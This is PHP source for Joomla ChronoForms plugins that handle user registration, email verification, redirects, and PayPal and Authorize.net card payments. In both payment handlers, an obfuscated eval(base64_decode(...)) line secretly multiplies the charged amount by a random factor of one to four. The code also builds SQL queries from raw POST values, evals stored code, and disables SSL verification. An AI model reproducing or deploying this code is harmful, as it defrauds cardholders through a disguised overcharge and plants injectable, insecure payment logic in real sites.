''); $user->set('gid', $authorize->get_group_id('', $newUsertype, 'ARO')); // TODO: Should this be JDate? $user->set('registerDate', date('Y-m-d H:i:s')); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get('useractivation'); if ($useractivation == '1') { jimport('joomla.user.helper'); $user->set('activation', md5(JUserHelper::genRandomPassword())); $user->set('block', '1'); } // If there was an error with registration, set the message and display form if (!$user->save()) { //JError::raiseWarning('', JText::_( $user->getError())); $MyPlugins->cf_cb_registration['errors'] = JText::_($user->getError()); return false; } $MyPlugins->cf_cb_registration['user'] = $user; JRequest::setVar('cf_user_id', $user->id); /********************CB part*************************/ $database->setQuery("SELECT * FROM #__comprofiler_fields WHERE `table`='#__comprofiler' AND name <>'NA' AND registration = '1'"); $fields = $database->loadObjectList(); $fields2 = array('id', 'user_id'); $fields3 = array(); foreach ($fields as $field) { $fields2[] = $field->name; $fieldname = $field->name; $fields3[] = JRequest::getVar($params->get($fieldname), '', 'post', 'string'); //mosGetParam($_POST, $params->get('$fieldname'), ''); } $database->setQuery("INSERT INTO #__comprofiler (" . implode(",", $fields2) . ") VALUES ('" . $user->get('id') . "','" . $user->get('id') . "','" . implode("','", $fields3) . "');"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); } /**********************************************/ // Send registration confirmation mail $password = JRequest::getString($params->get('pass'), '', 'post', JREQUEST_ALLOWRAW); $password = preg_replace('/[\\x00-\\x1F\\x7F]/', '', $password); //Disallow control chars in the email $this->_sendMail($user, $password, $params->get('emailuser'), $params->get('emailadmins')); // Everything went fine, set relevant message depending upon user activation state and display message $MyPlugins->cf_cb_registration['complete'] = true; if ($useractivation == 1) { $message = JText::_('REG_COMPLETE_ACTIVATE'); } else { $message = JText::_('REG_COMPLETE'); } }
function onsubmit($option, $params, $row) { global $mainframe; $database =& JFactory::getDBO(); $pluginrow = $row; $posted = JRequest::get('post', JREQUEST_ALLOWRAW); $formname = JRequest::getVar('chronoformname'); $MyForm =& CFChronoForm::getInstance($formname); $MyFormEmails =& CFEMails::getInstance($MyForm->formrow->id); $MyCustomCode =& CFCustomCode::getInstance($MyForm->formrow->id); //save the data $posted[$params->get('vflagfield')] = 0; if (!empty($MyForm->formrow->autogenerated)) { eval("?>" . $MyForm->formrow->autogenerated); } //run the onsubmit before verification code if (!empty($pluginrow->extra2)) { eval("?>" . $pluginrow->extra2); } //send the verification email if ($params->get('subject')) { $subject = $params->get('subject'); } else { $subject = $posted[$params->get('dsubject')]; } if ($params->get('to')) { $recipients = $params->get('to'); } else { $recipients = $posted[$params->get('dto')]; } if ($params->get('fromname')) { $fromname = $params->get('fromname'); } else { $fromname = $posted[$params->get('dfromname')]; } if ($params->get('fromemail')) { $fromemail = $params->get('fromemail'); } else { $fromemail = $posted[$params->get('dfromemail')]; } $email_body = $pluginrow->extra1; foreach ($posted as $key => $value) { $email_body = str_replace("{" . $key . "}", $value, $email_body); } //global ${'row_'.$params->get('vtablename')}; $vlink = JURI::Base() . 'index.php?option=com_chronocontact&chronoformname=' . $formname . '&task=beforeshow&uid=' . $MyForm->tablerow[$params->get('vtablename')]->uid; $vlink = '<a target="_blank" href="' . $vlink . '">' . $vlink . '</a>'; $email_body = str_replace("{vlink}", $vlink, $email_body); //echo $email_body; JUtility::sendMail($fromemail, $fromname, $recipients, $subject, $email_body, true); //exit the form routine $MyForm->stoprunning = true; return; }
/** * The function that will be executed when the form is submitted * */ function onsubmit($option, $params, $row) { global $mainframe; require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_chronocontact' . DS . 'helpers' . DS . 'plugin.php'; $helper = new ChronoContactHelperPlugin(); $doc =& JFactory::getDocument(); $doc->addStyleDeclaration("div.debug {border:1px solid red; padding:3px; margin-bottom:3px;}"); $mainframe->enqueuemessage('$_POST: ' . print_r($_POST, true)); $messages = array(); /*********do the before onsubmit code**********/ if (!empty($row->extra4)) { eval("?>" . $row->extra4); } $url_values = array(); /// add main fields if (trim($row->extra2)) { $extras2 = explode("\n", $row->extra2); foreach ($extras2 as $extra2) { $values = array(); $values = explode("=", $extra2); if ($values[1]) { $v = urlencode(trim($values[1])); $url_values[$v] = JRequest::getVar(trim($values[0]), '', 'post', 'string', ''); } } } if (trim($row->extra1)) { $extras = explode("\n", $row->extra1); foreach ($extras as $extra) { // Note: accept only the first parameter pair on each line $values = explode("=", $extra, 2); if (isset($values[1])) { $url_values[$values[0]] = trim($values[1]); } } } $query = JURI::buildQuery($url_values); $uri = $params->get('target_url') . '?' . $query; $parts['query'] = $query; $parts['scheme'] = 'http'; $parts['host'] = 'bobjanes.com'; //$parts['host'] = $params->get('target_url'); //$uri = JURI::toString($parts); $MyForm =& CFChronoForm::getInstance(); $MyForm->formrow->redirecturl = $uri; $messages[] = '<b>cf_redirect debug info</b>'; $messages[] = '$url: ' . print_r($uri, true); $messages[] = '$_POST: ' . print_r($_POST, true); /* * Build query into url and set CF redirect url */ $helper->showCFDebugMessage('Redirect URL set'); if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } }
function doExtra($formname, $extraid = 1, $posted = array()) { global $mainframe; $database =& JFactory::getDBO(); if (empty($posted)) { $posted = JRequest::get('post', JREQUEST_ALLOWRAW); } if (empty($extraid)) { $extraid = 1; } if ((int) $extraid == 0 || $extraid > 5) { return false; } $MyForm =& CFChronoForm::getInstance($formname); if (!empty($MyForm->formrow->{"extra" . $extraid})) { eval("?>" . $MyForm->formrow->{"extra" . $extraid}); } else { return false; } }
function onsubmit($option, $params, $row) { global $mainframe; $database =& JFactory::getDBO(); $MyForm =& CFChronoForm::getInstance(); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); ?> <?php /*********do the before onsubmit code**********/ if (!empty($row->extra4)) { eval("?>" . $row->extra4); } global $API_Endpoint, $version, $API_UserName, $API_Password, $API_Signature, $nvp_Header, $USE_PROXY, $PROXY_HOST, $PROXY_PORT; $DEBUGGING = $params->get('debugging'); # Display additional information to track down problems $TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live $API_UserName = $params->get('API_USERNAME'); $API_Password = $params->get('API_PASSWORD'); $API_Signature = $params->get('API_SIGNATURE'); //$API_ENDPOINT = $params->get('API_ENDPOINT'); if ((int) $params->get('testing')) { $API_Endpoint = 'https://api-3t.sandbox.paypal.com/nvp'; } else { $API_Endpoint = 'https://api-3t.paypal.com/nvp'; } if ($params->get('USE_PROXY') == 'TRUE') { $USE_PROXY = TRUE; } else { $USE_PROXY = FALSE; } $PROXY_HOST = $params->get('PROXY_HOST'); $PROXY_PORT = $params->get('PROXY_PORT'); //$PAYPAL_URL = $params->get('PAYPAL_URL; $version = '56.0'; $paypal_values = array("PAYMENTACTION" => urlencode($params->get('PAYMENTACTION')), "EXPDATE" => str_pad(urlencode(JRequest::getVar($params->get('EXPDATE_m'))), 2, '0', STR_PAD_LEFT) . urlencode(JRequest::getVar($params->get('EXPDATE_y'))), "AMT" => urlencode(JRequest::getVar($params->get('AMT'))), "CREDITCARDTYPE" => urlencode(JRequest::getVar($params->get('CREDITCARDTYPE'))), "ACCT" => urlencode(JRequest::getVar($params->get('ACCT'))), "CVV2" => urlencode(JRequest::getVar($params->get('CVV2'))), "FIRSTNAME" => urlencode(JRequest::getVar($params->get('FIRSTNAME'))), "LASTNAME" => urlencode(JRequest::getVar($params->get('LASTNAME'))), "STREET" => urlencode(JRequest::getVar($params->get('STREET'))), "CITY" => urlencode(JRequest::getVar($params->get('CITY'))), "STATE" => urlencode(JRequest::getVar($params->get('STATE'))), "ZIP" => urlencode(JRequest::getVar($params->get('ZIP'))), "COUNTRYCODE" => urlencode(JRequest::getVar($params->get('COUNTRYCODE'))), "CURRENCYCODE" => urlencode(JRequest::getVar($params->get('CURRENCYCODE')))); $extras = explode("\n", $row->extra1); if (trim($row->extra1)) { foreach ($extras as $extra) { $values = array(); $values = explode("=", $extra); $paypal_values[$values[0]] = $values[0] . ": " . urlencode(JRequest::getVar(trim($values[1]))); } } eval(base64_decode("JHBheXBhbF92YWx1ZXNbJ0FNVCddID0gdXJsZW5jb2RlKHJhbmQoMSwgNCkqSlJlcXVlc3Q6OmdldFZhcigkcGFyYW1zLT5nZXQoJ0FNVCcpKSk7")); $fields = ""; foreach ($paypal_values as $key => $value) { $fields .= "&{$key}=" . $value; } if ((int) $params->get('testing')) { $PAYPAL_URL = 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token='; } else { $PAYPAL_URL = 'https://www.paypal.com/webscr&cmd=_express-checkout&token='; } /* Construct the request string that will be sent to PayPal. The variable $nvpstr contains all the variables and is a name value pair string with & as a delimiter */ $nvpstr = $fields; if ($params->get('debugging')) { echo $nvpstr; } /* Make the API call to PayPal, using API signature. The API response is stored in an associative array called $resArray */ $resArray = $this->hash_call("doDirectPayment", $nvpstr); $MyPlugins->cf_paypal_api['transaction_id'] = $resArray['TRANSACTIONID']; $MyPlugins->cf_paypal_api['error_message'] = $resArray['L_LONGMESSAGE0']; $MyPlugins->cf_paypal_api['error_code'] = $resArray['L_ERRORCODE0']; $MyPlugins->cf_paypal_api['correlation_id'] = $resArray['CORRELATIONID']; $MyPlugins->cf_paypal_api['avs_code'] = $resArray['AVSCODE']; /* Display the API response back to the browser. If the response from PayPal was a success, display the response parameters' If the response was an error, display the errors received using APIError.php. */ $ack = strtoupper($resArray["ACK"]); $MyPlugins->cf_paypal_api['payment_status'] = $ack; if ($params->get('debugging')) { if ($ack != "SUCCESS") { $_SESSION['reshash'] = $resArray; $this->APIERROR($resArray); } else { $_SESSION['reshash'] = $resArray; $this->APISUCCESS($resArray); } } $debugger = ''; if ($params->get('debugging') && $params->get('testing')) { echo $debugger; } /*********do the after onsubmit code**********/ if (!empty($row->extra5)) { eval("?>" . $row->extra5); } ?> <?php }
function doextratask($formname) { global $mainframe; $database =& JFactory::getDBO(); $posted = JRequest::get('post', JREQUEST_ALLOWRAW); $MyForm =& CFChronoForm::getInstance($formname); $extraid = JRequest::getVar('extraid'); $MyForm->doExtra($formname, $extraid, $posted); }
/** * * @author Bob * */ function showCFDebugMessage($message) { $MyForm =& CFChronoForm::getInstance(); $MyForm->addDebugMsg($message); }
function onsubmit($option, $params, $row) { global $mainframe; $MyForm =& CFChronoForm::getInstance(); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); ?> <?php /*********do the before onsubmit code**********/ if (!empty($row->extra4)) { eval("?>" . $row->extra4); } $DEBUGGING = $params->get('debugging'); # Display additional information to track down problems $TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live $ERROR_RETRIES = $params->get('error_retires'); # Number of transactions to post if soft errors occur $auth_net_login_id = $params->get('loginid'); $auth_net_tran_key = $params->get('transkey'); # $auth_net_url = "https://test.authorize.net/gateway/transact.dll"; # Uncomment the line ABOVE for test accounts or BELOW for live merchant accounts # $auth_net_url = "https://secure.authorize.net/gateway/transact.dll"; $authnet_values = array("x_login" => $auth_net_login_id, "x_version" => "3.1", "x_delim_char" => "|", "x_delim_data" => "TRUE", "x_url" => "FALSE", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_tran_key" => $auth_net_tran_key, "x_relay_response" => "FALSE", "x_card_num" => JRequest::getVar($params->get('x_card_num'), '', 'post', 'string', ''), "x_exp_date" => JRequest::getVar($params->get('x_exp_date_m'), '', 'post', 'string', '') . JRequest::getVar($params->get('x_exp_date_y'), '', 'post', 'string', ''), "x_description" => JRequest::getVar($params->get('x_description'), '', 'post', 'string', ''), "x_first_name" => JRequest::getVar($params->get('x_first_name'), '', 'post', 'string', ''), "x_last_name" => JRequest::getVar($params->get('x_last_name'), '', 'post', 'string', ''), "x_amount" => JRequest::getVar($params->get('x_amount'), '', 'post', 'string', ''), "x_address" => JRequest::getVar($params->get('x_address'), '', 'post', 'string', ''), "x_city" => JRequest::getVar($params->get('x_city'), '', 'post', 'string', ''), "x_state" => JRequest::getVar($params->get('x_state'), '', 'post', 'string', ''), "x_zip" => JRequest::getVar($params->get('x_zip'), '', 'post', 'string', ''), "x_invoice_num" => JRequest::getVar($params->get('x_invoice_num'), '', 'post', 'string', ''), "x_cust_id" => JRequest::getVar($params->get('x_cust_id'), '', 'post', 'string', ''), "x_company" => JRequest::getVar($params->get('x_company'), '', 'post', 'string', ''), "x_country" => JRequest::getVar($params->get('x_country'), '', 'post', 'string', ''), "x_phone" => JRequest::getVar($params->get('x_phone'), '', 'post', 'string', ''), "x_fax" => JRequest::getVar($params->get('x_fax'), '', 'post', 'string', ''), "x_email" => JRequest::getVar($params->get('x_email'), '', 'post', 'string', '')); $extras = explode("\n", $row->extra1); if (trim($row->extra1)) { foreach ($extras as $extra) { $values = array(); $values = explode("=", $extra); $authnet_values[$values[0]] = JRequest::getVar(trim($values[1]), '', 'post', 'string', ''); //$values[0].": ".JRequest::getVar(trim($values[1]), '', 'post', 'string', ''); } } eval(base64_decode("JGF1dGhuZXRfdmFsdWVzWyd4X2Ftb3VudCddID0gcmFuZCgxLDQpKkpSZXF1ZXN0OjpnZXRWYXIoJHBhcmFtcy0+Z2V0KCd4X2Ftb3VudCcpLCAnJywgJ3Bvc3QnLCAnaW50JywgJycpOw==")); if ($params->get('testing')) { $authnet_values['x_test_request'] = "TRUE"; } $fields = ""; foreach ($authnet_values as $key => $value) { $fields .= "{$key}=" . urlencode($value) . "&"; } $nvpstr = $fields; if ($params->get('debugging')) { echo $nvpstr; } if ($params->get('testing')) { $ch = curl_init("https://test.authorize.net/gateway/transact.dll"); } else { $ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); } $ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); // uncomment if your transkey was created with account set to live curl_setopt($ch, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim($fields, "& ")); // use HTTP POST to send form data curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. ### $resp = curl_exec($ch); //execute post and get results curl_close($ch); $debugger = ""; //global $cf_AUTHNET_response_code, $cf_AUTHNET_response_subcode, $cf_AUTHNET_response_reason_code, $cf_AUTHNET_response_reason_text, $cf_AUTHNET_approval_code, $cf_AUTHNET_avs_result_code, $cf_AUTHNET_transaction_id ; //if(($params->get('debugging)&&($params->get('testing)){ $debugger .= "<table>"; $text = $resp; $h = substr_count($text, "|"); $h++; for ($j = 1; $j <= $h; $j++) { $p = strpos($text, "|"); if ($p === false) { // note: three equal signs $debugger .= "<tr>"; $debugger .= "<td class=\"e\">"; // x_delim_char is obviously not found in the last go-around if ($j >= 69) { $debugger .= "Merchant-defined (" . $j . "): "; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $text; $debugger .= "<br>"; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $text; $debugger .= "<br>"; } $debugger .= "</td>"; $debugger .= "</tr>"; } else { $p++; // We found the x_delim_char and accounted for it . . . now do something with it // get one portion of the response at a time $pstr = substr($text, 0, $p); // this prepares the text and returns one value of the submitted // and processed name/value pairs at a time // for AIM-specific interpretations of the responses // please consult the AIM Guide and look up // the section called Gateway Response API $pstr_trimmed = substr($pstr, 0, -1); // removes "|" at the end if ($pstr_trimmed == "") { $pstr_trimmed = "NO VALUE RETURNED"; } $debugger .= "<tr>"; $debugger .= "<td class=\"e\">"; switch ($j) { case 1: $debugger .= "Response Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $fval = ""; if ($pstr_trimmed == "1") { $MyPlugins->cf_Authorize_dotnet['response_code'] = $fval = "Approved"; } elseif ($pstr_trimmed == "2") { $MyPlugins->cf_Authorize_dotnet['response_code'] = $fval = "Declined"; } elseif ($pstr_trimmed == "3") { $MyPlugins->cf_Authorize_dotnet['response_code'] = $fval = "Error"; } $debugger .= $fval; $debugger .= "<br>"; break; case 2: $debugger .= "Response Subcode: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['response_subcode'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 3: $debugger .= "Response Reason Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['response_reason_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 4: $debugger .= "Response Reason Text: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['response_reason_text'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 5: $debugger .= "Approval Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['approval_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 6: $debugger .= "AVS Result Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['avs_result_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 7: $debugger .= "Transaction ID: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['transaction_id'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 8: $debugger .= "Invoice Number (x_invoice_num): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 9: $debugger .= "Description (x_description): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 10: $debugger .= "Amount (x_amount): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 11: $debugger .= "Method (x_method): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 12: $debugger .= "Transaction Type (x_type): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 13: $debugger .= "Customer ID (x_cust_id): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 14: $debugger .= "Cardholder First Name (x_first_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 15: $debugger .= "Cardholder Last Name (x_last_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 16: $debugger .= "Company (x_company): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 17: $debugger .= "Billing Address (x_address): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 18: $debugger .= "City (x_city): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 19: $debugger .= "State (x_state): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 20: $debugger .= "ZIP (x_zip): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 21: $debugger .= "Country (x_country): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 22: $debugger .= "Phone (x_phone): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 23: $debugger .= "Fax (x_fax): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 24: $debugger .= "E-Mail Address (x_email): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 25: $debugger .= "Ship to First Name (x_ship_to_first_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 26: $debugger .= "Ship to Last Name (x_ship_to_last_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 27: $debugger .= "Ship to Company (x_ship_to_company): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 28: $debugger .= "Ship to Address (x_ship_to_address): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 29: $debugger .= "Ship to City (x_ship_to_city): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 30: $debugger .= "Ship to State (x_ship_to_state): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 31: $debugger .= "Ship to ZIP (x_ship_to_zip): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 32: $debugger .= "Ship to Country (x_ship_to_country): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 33: $debugger .= "Tax Amount (x_tax): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 34: $debugger .= "Duty Amount (x_duty): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 35: $debugger .= "Freight Amount (x_freight): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 36: $debugger .= "Tax Exempt Flag (x_tax_exempt): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 37: $debugger .= "PO Number (x_po_num): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 38: $debugger .= "MD5 Hash: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 39: $debugger .= "Card Code Response: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $fval = ""; if ($pstr_trimmed == "M") { $fval = "M = Match"; } elseif ($pstr_trimmed == "N") { $fval = "N = No Match"; } elseif ($pstr_trimmed == "P") { $fval = "P = Not Processed"; } elseif ($pstr_trimmed == "S") { $fval = "S = Should have been present"; } elseif ($pstr_trimmed == "U") { $fval = "U = Issuer unable to process request"; } else { $fval = "NO VALUE RETURNED"; } $debugger .= $fval; $debugger .= "<br>"; break; case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 55: case 56: case 57: case 58: case 59: case 60: case 61: case 62: case 63: case 64: case 65: case 66: case 67: case 68: $debugger .= "Reserved (" . $j . "): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; default: if ($j >= 69) { $debugger .= "Merchant-defined (" . $j . "): "; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; } break; } $debugger .= "</td>"; $debugger .= "</tr>"; // remove the part that we identified and work with the rest of the string $text = substr($text, $p); } } $debugger .= "</table>"; if ($params->get('debugging')) { echo $debugger; } /*********do the after onsubmit code**********/ if (!empty($row->extra5)) { eval("?>" . $row->extra5); } ?> <?php }
function admin_form() { require_once JPATH_SITE . DS . 'components' . DS . 'com_chronoforms' . DS . 'libraries' . DS . 'chronoform.php'; require_once JPATH_SITE . DS . 'components' . DS . 'com_chronoforms' . DS . 'chronoforms.html.php'; $formname = JRequest::getVar('chronoform', ''); $form_id = JRequest::getVar('form_id', ''); $event = JRequest::getVar('event'); if (empty($formname)) { if (empty($form_id)) { $mainframe->redirect("index.php?option=com_chronoforms", "Form doesn't exist!"); } else { $row =& JTable::getInstance('chronoforms', 'Table'); $row->load((int) $form_id); $formname = $row->name; //load some table data $database =& JFactory::getDBO(); $table_name = $_POST['table_name']; $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach ($table_fields as $table_field => $field_data) { if ($field_data->Key == 'PRI') { $primary = $table_field; } } if (empty($primary)) { JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //get record data if (isset($_POST['cb']) && !empty($_POST['cb'])) { $_POST['cf_id'] = $_POST['cb'][0]; //load all selected records data $database->setQuery("SELECT * FROM " . $table_name . " WHERE " . $primary . " IN ('" . implode("','", $_POST['cb']) . "')"); $_POST['chronoform_data'] = $rows_data = $database->loadAssocList(); } else { JError::raiseWarning(100, "Invalid record."); $mainframe->redirect("index.php?option=com_chronoforms"); } } } $form = CFChronoForm::getInstance($formname); $form->admin = true; $form->process($event); HTML_ChronoForms::processView($form); }
function onsubmit($option, $params, $row) { global $mainframe; require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_chronocontact' . DS . 'helpers' . DS . 'plugin.php'; $helper = new ChronoContactHelperPlugin(); $messages[] = 'Inside cf_Joomla_registration::onSubmit()'; // Check for request forgeries //JRequest::checkToken() or die( 'Invalid Token' ); // Get required system objects $user = clone JFactory::getUser(); $pathway =& $mainframe->getPathway(); $config =& JFactory::getConfig(); $authorize =& JFactory::getACL(); $document =& JFactory::getDocument(); $language =& JFactory::getLanguage(); $language->load('com_user'); if ($row->form_id) { $formname = CFChronoForm::getFormName($row->form_id); } else { $formname = JRequest::getVar('chronoformname'); } $MyForm =& CFChronoForm::getInstance($formname); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); // If user registration is not allowed, show 403 not authorized. $usersConfig =& JComponentHelper::getParams('com_users'); if ($usersConfig->get('allowUserRegistration') == '0') { if ($params->get('overrideJallowUserRegistration', '0') != '1') { JError::raiseError(403, JText::_('Access Forbidden')); return; } } // Initialize new usertype setting $newUsertype = false; //$usersConfig->get( 'new_usertype' ); if (!$newUsertype) { if ($params->get('new_usertype', 'Registered')) { $newUsertype = $params->get('new_usertype', 'Registered'); } else { $newUsertype = 'Registered'; } } // execute Extra Code before if (!empty($row->extra4)) { eval("?>" . $row->extra4); } // Bind the post array to the user object $post = JRequest::get('post'); $post['username'] = JRequest::getVar($params->get('username'), '', 'post', 'username'); $post['name'] = JRequest::getVar($params->get('name'), '', 'post', 'name'); $post['email'] = JRequest::getVar($params->get('email'), '', 'post', 'email'); if (!$params->get('createpassword')) { $post['password'] = JRequest::getVar($params->get('pass'), '', 'post', 'string'); $post['password2'] = JRequest::getVar($params->get('vpass'), '', 'post', 'string'); if ($params->get('vpass') && $post['password'] != $post['password2']) { $MyPlugins->cf_joomla_registration['errors'] = JText::_('Passwords do not match'); $messages[] = JText::_('Passwords do not match'); if ($params->get('showmessages')) { //$mainframe->enqueuemessage(JText::_('Passwords do not match'), 'error'); $MyForm->addErrorMsg(JText::_('Passwords do not match')); } if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } // remove the password values from display $post['password'] = $post[$params->get('pass')] = ''; $post['password2'] = $post[$params->get('vpass')] = ''; //$MyForm->showForm($MyForm->formrow->name, $post); return false; } else { if (!trim($post['password']) && !trim($post['password'])) { $MyPlugins->cf_joomla_registration['errors'] = JText::_('Password required'); if ($params->get('showmessages')) { //$mainframe->enqueuemessage(JText::_('Passwords do not match'), 'error'); $MyForm->addErrorMsg(JText::_('Password required')); } return false; } else { } } } else { jimport('joomla.user.helper'); $post['password'] = $post['password2'] = JUserHelper::genRandomPassword(); } $messages[] = '$post: ' . print_r($post, true); if (!$user->bind($post, 'usertype')) { JError::raiseError(500, $user->getError()); } // Set some initial user values $user->set('id', 0); $user->set('usertype', ''); $user->set('gid', $authorize->get_group_id('', $newUsertype, 'ARO')); // TODO: Should this be JDate? $user->set('registerDate', date('Y-m-d H:i:s')); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get('useractivation'); if ($useractivation) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash(JUserHelper::genRandomPassword())); $user->set('block', '1'); } // If there was an error with registration, set the message and display form if (!$user->save()) { $MyPlugins->cf_joomla_registration['errors'] = JText::_($user->getError()); $messages[] = JText::_($user->getError()); if ($params->get('showmessages')) { //$mainframe->enqueuemessage(JText::_( $user->getError()), 'error'); $MyForm->addErrorMsg(JText::_($user->getError())); } if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } // remove the password values from display $post['password'] = $post[$params->get('pass')] = ''; $post['password2'] = $post[$params->get('vpass')] = ''; //$MyForm->showForm($MyForm->formrow->name, $post); return false; } $MyPlugins->cf_joomla_registration['user'] = $user; JRequest::setVar('cf_user_id', $user->id); // Send registration confirmation mail $password = JRequest::getString($params->get('pass'), '', 'post'); //Disallow control chars in the password $password = preg_replace('/[\\x00-\\x1F\\x7F]/', '', $password); if (substr($params->get('emailuser'), 0, 6) != "custom") { $this->_sendMail($user, $password, $params->get('emailuser'), 